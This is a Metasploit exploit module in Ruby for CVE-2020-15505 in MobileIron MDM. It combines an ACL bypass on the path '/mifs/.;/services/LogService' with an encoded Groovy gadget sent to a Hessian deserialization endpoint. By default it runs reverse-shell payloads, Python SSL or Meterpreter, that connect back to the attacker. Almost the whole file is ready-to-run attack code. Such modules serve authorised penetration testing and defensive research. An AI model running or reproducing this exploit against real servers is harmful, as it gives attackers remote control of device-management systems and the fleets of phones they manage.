MobileIron MDM Hessian-Based Java Deserialization Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE',  
'Description' => %q{  
This module exploits an ACL bypass in MobileIron MDM products to  
execute a Groovy gadget against a Hessian-based Java deserialization  
endpoint.  
},  
'Author' => [  
'Orange Tsai', # Discovery  
'rootxharsh', # Exploit  
'iamnoooob', # Exploit  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-15505'],  
['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'],  
['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'],  
['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505']  
],  
'DisclosureDate' => '2020-09-12', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call  
res = send_request_hessian('c')  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'  
return CheckCode::Safe('ACL bypass failed.')  
end  
  
CheckCode::Vulnerable('ACL bypass successful.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
send_request_hessian(groovy_gadget(cmd))  
end  
  
def send_request_hessian(data)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mifs/.;/services/LogService'),  
'ctype' => 'x-application/hessian',  
'headers' => {  
'Referer' => rand_text_english(8..42)  
},  
'data' => data  
)  
end  
  
def groovy_gadget(cmd)  
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers  
hessian = "c\x01\x00H\x00\x08#{rand_text_english(8)}"  
  
# Cale hates me for this  
hessian << Rex::Text.zlib_inflate(Rex::Text.decode_base64(  
<<~HESSIAN  
eNpFj01PwkAQhkcRBUz8CBe9cfVg+Q3YYDBKIS7h4mnbju2S3W4zuy20v95BQS6bfXffPPPM  
3APMPQwzsrZugsorHUx3pSxSK+Ae/25LsiWSV+i4CgJ6uXR5aFPk+GQpCxK+57JywQFDVeGV  
wWCOPrdpqK2rCAVcmt8soOu8JC/gltBZXaPwJD1mzRvAnt9PFWHiVY2Hh0cjd8pUJqpMjLT4  
XkqSzEJyh0IvRY0ZM9joYSNrGWhZZAGLJ+jcS6V0iiRgSPiHnhJZ4qkozauAq8Qaw4uuNcM6  
nMexKsYuF3D+nLDlbBK+j1az6Wj5MYmmq/bf0FITCbjGolZkC4OF59g/DnERN7t2WyB9MvhC  
wMDnyi3iDX9y8aY8rrFqSnRrD3dfJ/dQS+f2QsCUTpxso7Zt95yz09EOfgCmKo1k  
HESSIAN  
))  
  
hessian.sub("\x00\x0fHACK THE PLANET", "#{[cmd.length].pack('n')}#{cmd}")  
end  
  
end  
`